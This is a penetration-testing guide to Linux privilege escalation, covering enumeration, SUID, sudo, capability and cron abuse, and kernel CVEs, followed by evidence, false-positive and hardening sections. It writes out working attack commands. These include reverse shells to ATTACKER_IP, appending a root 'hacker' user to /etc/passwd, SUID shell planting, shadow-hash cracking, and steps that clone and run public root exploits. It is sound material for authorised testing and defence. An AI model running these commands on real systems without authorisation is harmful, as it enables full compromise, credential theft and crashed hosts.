14 min read

Post-Exploitation

Linux Privilege Escalation

Linux privilege escalation exploits misconfigurations, SUID binaries, sudo permissions, cron jobs, and kernel vulnerabilities to gain root access from a standard user account.

Danger

Authorisation per action, not per host. Editing /etc/passwd, changing a unit file, adding a sudoers rule or writing an SSH key are modifications the client has to agree to individually — and a kernel exploit is an availability risk they have to accept for that host, in writing, before you run it. Snapshot where you can, note the original mode and owner of anything you touch, and revert it as part of the test.

Initial Enumeration

System Information

system-information.sh
# Current user and groups
id
whoami
groups

# System information
uname -a
cat /etc/os-release
cat /etc/issue
hostname

# Environment variables
env
echo $PATH

Network Information

network-information.sh
# Network configuration
ip a
ifconfig
cat /etc/hosts
cat /etc/resolv.conf

# Connections and listeners
netstat -tulpn
ss -tulpn

# Routing
route -n
ip route

Automated Enumeration Tools

LinPEAS

linpeas.sh
# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Or transfer and execute
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# Run specific checks
./linpeas.sh -s  # Superfast (no network/docker checks)
./linpeas.sh -a  # All checks (adds su brute-force with the top-2000 passwords)

LinEnum

linenum.sh
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t

Linux Exploit Suggester

linux-exploit-suggester.sh
# LES - Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

# LES2 - More exploits
wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl

pspy - Process Monitor

pspy-process-monitor.sh
# Monitor processes without root (catches cron jobs)
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64
./pspy64

SUID/SGID Exploitation

Find SUID/SGID Binaries

find-suid-sgid-binaries.sh
# Find SUID binaries
find / -perm -u=s -type f 2>/dev/null

# Find SGID binaries
find / -perm -g=s -type f 2>/dev/null

# Find both
find / \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null

GTFOBins Exploitation

Information

Check GTFOBins for SUID exploitation techniques for specific binaries.
gtfobins-exploitation.sh
# Common exploitable SUID binaries

# bash (SUID)
/bin/bash -p

# find
find . -exec /bin/sh -p \; -quit

# vim
vim -c ':!/bin/sh'

# python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# perl
perl -e 'exec "/bin/sh";'

# cp (copy /etc/passwd, modify, copy back)
cp /etc/passwd /tmp/passwd
# Add root user: echo 'hacker:$(openssl passwd password):0:0::/root:/bin/bash' >> /tmp/passwd
cp /tmp/passwd /etc/passwd

Sudo Exploitation

Check Sudo Permissions

Read the version against the CVEs below rather than on its own: Baron Samedit is fixed in 1.9.5p2, the sudoedit argument injection in 1.9.12p2 and the -R chroot escape in 1.9.17p1. Between them those ranges cover most of what you will meet in an estate that patches slowly, and each one needs a different prerequisite — a sudoedit rule, a permitted -R, or a specific vulnerable build — so the version tells you what to test, not what is exploitable.

check-sudo-permissions.sh
# List sudo permissions
sudo -l

# Check sudo version (the range decides which of the CVEs below apply)
sudo --version

GTFOBins Sudo Exploitation

gtfobins-sudo-exploitation.sh
# If sudo -l shows NOPASSWD for specific commands:

# vim
sudo vim -c ':!/bin/bash'

# find
sudo find /etc -exec /bin/bash \;

# awk
sudo awk 'BEGIN {system("/bin/bash")}'

# less/more
sudo less /etc/passwd
!/bin/bash

# man
sudo man man
!/bin/bash

# env
sudo env /bin/bash

# ftp
sudo ftp
!/bin/bash

Sudo Wildcards Exploitation

sudo-wildcards-exploitation.sh
# If sudo allows: /bin/tar * 
# Create files named as flags
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" > shell.sh
sudo /bin/tar cf archive.tar *

# If sudo allows: /bin/rsync *
echo "" > "-e sh shell.sh"
sudo /bin/rsync -e sh shell.sh localhost:/tmp

CVE-2021-3156 (Baron Samedit)

cve-2021-3156-baron-samedit.sh
# Check if vulnerable (sudo < 1.9.5p2)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')

# Exploit
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich

CVE-2023-22809 (sudoedit Argument Injection)

In sudo before 1.9.12p2, sudoedit passed the user's editor environment (SUDO_EDITOR, VISUAL, EDITOR) through unsanitised, so an editor value containing -- ended sudoedit's own file list and everything after it became an extra file to open — as root. NVD scores it 7.8 (published 2023-01-18). The prerequisite is a sudoers rule that grants sudoedit at all: no rule, no path. A rule scoped to one file is still enough, because the injected path is appended after the --.

cve-2023-22809-sudoedit.sh
# Does any sudoedit rule exist? This is the whole prerequisite.
sudo -l | grep -i sudoedit

# The editor string supplies the extra file; sudoedit opens it as root
EDITOR='vim -- /etc/sudoers' sudoedit /etc/hosts

# Inside vim the file is writable: :wq, then verify the change landed

Fixed in 1.9.12p2 and backported by the distributions, so the version string alone is not the finding — the finding is a sudoedit rule on a host still running an unpatched build. LinPEAS prints the sudo version but does not test this path, because whether it works depends on the sudoers rule rather than the binary; sudo -l is the check.

CVE-2025-32463 (sudo -R chroot)

sudo 1.9.14 through 1.9.17 (every p revision) resolves /etc/nsswitch.conf from inside the directory handed to -R/--chroot. An account whose sudoers rule permits that option can therefore supply its own nsswitch.conf and a malicious NSS library, which root loads while still inside the chroot — a root shell, no writable system file required. NVD scores it 9.3 (Critical), published 2025-06-30, and it is the highest-rated item on this page. Fixed in 1.9.17p1.

cve-2025-32463-sudo-chroot.sh
# Version first: 1.9.14 up to 1.9.17 (including p-revisions) is the vulnerable window
sudo --version | head -n 1

# Behaviour check that needs no exploit: vulnerable sudo accepts -R, patched sudo refuses the option
sudo -R woot woot
# vulnerable: "sudo: woot: No such file or directory"
# patched:    "sudo: you are not permitted to use the -R option with woot"

# Why a broad rule matters: -R has to be permitted by the sudoers entry
sudo -l

# Lab reproduction only - the PoC builds an Ubuntu 24.04 container with vulnerable 1.9.16p2
git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
cd CVE-2025-32463_chwoot && ./run.sh

LinPEAS's "Sudo version" check does flag this one: it parses sudo -V and prints a CVE-2025-32463 upstream candidate for 1.9.14–1.9.17, alongside CVE-2025-32462 for 1.8.8–1.9.17. Treat that as a pointer to the package advisory, not a verdict — vendors backport fixes without changing the version string, which is the same trap as the kernel CVEs below.

Capabilities

Find Binaries with Capabilities

find-binaries-with-capabilities.sh
getcap -r / 2>/dev/null

Exploit Capabilities

exploit-capabilities.sh
# cap_setuid+ep (e.g., python)
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_dac_read_search (read any file)
# e.g., tar with cap_dac_read_search
tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar

# cap_net_bind_service (bind to privileged ports < 1024)
# Useful for phishing attacks or MitM

Cron Jobs

Enumerate Cron Jobs

enumerate-cron-jobs.sh
# System crontabs
cat /etc/crontab
cat /etc/cron.d/*
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.monthly/

# User crontabs
crontab -l
cat /var/spool/cron/crontabs/*

# Use pspy to monitor
./pspy64

Cron Exploitation

cron-exploitation.sh
# If cron runs writable script as root
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /path/to/script.sh

# If cron runs script from writable directory
echo '#!/bin/bash' > /writable/path/script.sh
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /writable/path/script.sh
# Wait for cron, then: /tmp/bash -p

# PATH hijacking (if cron doesn't use absolute paths)
echo '#!/bin/bash' > /tmp/command_name
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /tmp/command_name
chmod +x /tmp/command_name
export PATH=/tmp:$PATH

Writable Files & Directories

/etc/passwd

etc-passwd.sh
# Check if writable
ls -la /etc/passwd

# If writable, add root user
# Generate password hash
openssl passwd -1 -salt hacker password

# Add user with root privileges (UID 0)
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash' >> /etc/passwd

# Login as new root user
su hacker

/etc/shadow

etc-shadow.sh
# If readable, crack hashes
cat /etc/shadow
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
hashcat -m 1800 -a 0 shadow.txt rockyou.txt

# If writable, replace root hash
# Generate: openssl passwd -6 password
vim /etc/shadow

SSH Keys

ssh-keys.sh
# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/id_rsa

# If authorized_keys is writable
# On attacker: ssh-keygen -t rsa
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
ssh -i id_rsa root@target

Kernel Exploits

Danger

Kernel exploits can crash systems. Always have backup access and test in lab first. Use as last resort.
kernel-exploits.sh
# Check kernel version
uname -a
uname -r

# Use linux-exploit-suggester
./linux-exploit-suggester.sh

DirtyPipe (CVE-2022-0847)

dirtypipe-cve-2022-0847.sh
# Linux kernel 5.8 - 5.16.11
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh
./exploit-1  # Overwrites /etc/passwd

DirtyCOW (CVE-2016-5195)

dirtycow-cve-2016-5195.sh
# Linux kernel 2.6.22 - 4.8.3
wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password
# Creates firefart user with root privileges

PwnKit (CVE-2021-4034)

pwnkit-cve-2021-4034.sh
# Polkit pkexec - affects most Linux distros
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make
./cve-2021-4034

Looney Tunables (CVE-2023-4911)

A buffer overflow in glibc's dynamic loader while it parsed GLIBC_TUNABLES, introduced in glibc 2.34 (April 2021) and fixed in the October 2023 coordinated updates and the distributions' backports. Any SUID binary is enough to trigger it: the loader runs before the program does, so a crafted tunables value overflows inside a root-privileged process and the attacker lands a root shell. Qualys obtained root on default Fedora 37 and 38, Ubuntu 22.04 and 23.04, and Debian 12 and 13; Alpine is unaffected because it uses musl rather than glibc. NVD scores it 7.8 (published 2023-10-03).

cve-2023-4911-looney-tunables.sh
# Which libc, and is the installed package past the vendor fix?
ldd --version | head -n 1
dpkg -l libc6 | tail -n 1      # Debian/Ubuntu: compare with the USN/DSA fixed version
rpm -q glibc                   # RHEL/Fedora

# LinPEAS performs the Debian/Ubuntu comparison for you and labels it a candidate, not a finding
./linpeas.sh | grep -A2 'GNU C Library tunables'

# Lab reproduction (Ubuntu 22.04, glibc 2.35 - not generalised)
git clone https://github.com/leesh3288/CVE-2023-4911.git
cd CVE-2023-4911 && make && ./exp

nftables Use-After-Free (CVE-2024-1086)

nft_verdict_init() accepted positive values as a drop error, so nf_hook_slow() double-freed a packet when NF_DROP arrived with an error that looked like NF_ACCEPT. The result is a local root from a netfilter rule. NVD scores it 7.8 (published 2024-01-31); the fix is upstream commit f342de4e2f33, backported in February 2024, and the public exploit covers kernels v5.14 through v6.6. It needs unprivileged user namespaces (CONFIG_USER_NS=y, kernel.unprivileged_userns_clone=1) and CONFIG_NF_TABLES=y — the same three preconditions LinPEAS's kernel-CVE table lists before it flags the entry at all. Distributions that disable unprivileged user namespaces are not exposed to this exploit path even on an unpatched kernel.

cve-2024-1086-nftables.sh
# The preconditions decide whether the CVE applies at all
unshare -Urn true && echo "unprivileged userns available"
grep -E 'CONFIG_NF_TABLES|CONFIG_USER_NS' /boot/config-$(uname -r)
sysctl kernel.unprivileged_userns_clone 2>/dev/null

# Lab reproduction: this exploit deliberately leaves the kernel panicking afterwards
git clone https://github.com/Notselwyn/CVE-2024-1086.git
cd CVE-2024-1086 && make && ./exploit

Credential Hunting

credential-hunting.sh
# Search for passwords
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /home/ 2>/dev/null
grep -r "pass" /var/www/ 2>/dev/null

# History files
cat ~/.bash_history
cat ~/.zsh_history

# Config files
cat /etc/mysql/my.cnf
cat /var/www/html/config.php
cat /var/www/html/.env

# SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null

# Database files
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/null

Tools Reference

LinPEAS

Comprehensive Linux privesc scanner

GitHub →

GTFOBins

SUID/sudo binary exploitation

Website →

pspy

Process monitor without root

GitHub →

LES

Linux Exploit Suggester

GitHub →

Evidence Collection

Starting context: id, groups, sudo -l and the kernel version, captured before the escalation.

The misconfiguration: The SUID bit, sudoers line, capability, cron entry or writable unit — quoted from the system, not from a scanner’s summary.

Escalation proof: uid=0 in the new context and the command that produced it.

Impact in the new context: One action root enables that the user could not do: read /etc/shadow, write a system unit, add an SSH key.

CVSS range: SUID/sudo/capability privesc: 7.8–9.3 · kernel CVE with reliable exploit: 7.8–8.4 · writable /etc/passwd: 8.8.

False Positive Identification

  • A SUID binary that drops privileges: Many system binaries are SUID and immediately drop to the caller. Check whether it survives to a shell before reporting GTFOBins applicability.
  • sudo NOPASSWD for a fixed argument set: A rule pinned to one script with a fixed path is only a finding if the script is writable or takes unsanitised input.
  • A writable directory with no reader: A world-writable folder is hygiene. It becomes privesc when a root process reads from it — the cron or unit must point there.
  • cap_dac_read_search on a backup tool: Read capability on a tool that never exposes file content to its caller is not a path. Test that you can read a file you should not.
  • A kernel that is "vulnerable": Exploit suggesters map version ranges. Distributions backport fixes without changing the version string — check the package changelog before running anything.
  • A password in a config file: A credential is only evidence if it authenticates somewhere in scope. Record where it works, not where you found it.

Testing Checklist

Enumerate first

  • ☐ id, groups, uname -a, /etc/os-release, package versions
  • ☐ SUID and SGID binaries: find / \( -perm -4000 -o -perm -2000 \) -type f
  • ☐ sudo -l — including the env_keep and SETENV options
  • ☐ getcap -r / and whether each capability is reachable from the caller
  • ☐ Cron: /etc/crontab, /etc/cron.d, systemd timers, and pspy for what actually runs
  • ☐ Writable files that a root process reads — configs, units, scripts, libraries

Then escalate

  • ☐ Record the finding before changing file modes or contents
  • ☐ Prefer a reversible primitive: a sudo GTFOBins invocation over editing /etc/passwd
  • ☐ Keep a copy of anything you overwrite, and note the original mode and owner
  • ☐ Kernel exploits: lab first, snapshot before, and never on a host the client has not agreed to lose

Remediation & Hardening

Close the paths

  • • Remove SUID bits that no packaged tool needs, and review NoNewPrivs/nosuid mounts for user-writable volumes
  • • Replace wildcard sudo rules with fixed argument lists, and never grant SETENV on a shell-capable binary
  • • Keep root-owned cron scripts and unit files unreadable and unwritable to service accounts
  • • Capabilities: grant only the file capabilities a daemon needs, and drop them for interactive users

Patch deliberately

  • • Track distro security advisories rather than kernel versions — backports do not change the version string
  • • Enable automatic security updates for the packages that carry these primitives (sudo, polkit, the kernel)
  • • Treat container escapes (a mounted socket, a privileged container) as privesc paths in scope and in the fix

Detect it

  • • auditd rules on /etc/passwd, /etc/shadow, /etc/sudoers, cron directories and unit files
  • • AIDE or a package-ownership query — an unowned file in a system path is the cheapest single signal
  • • Alert on a new uid 0 account and on processes whose parent is cron or a user unit running as root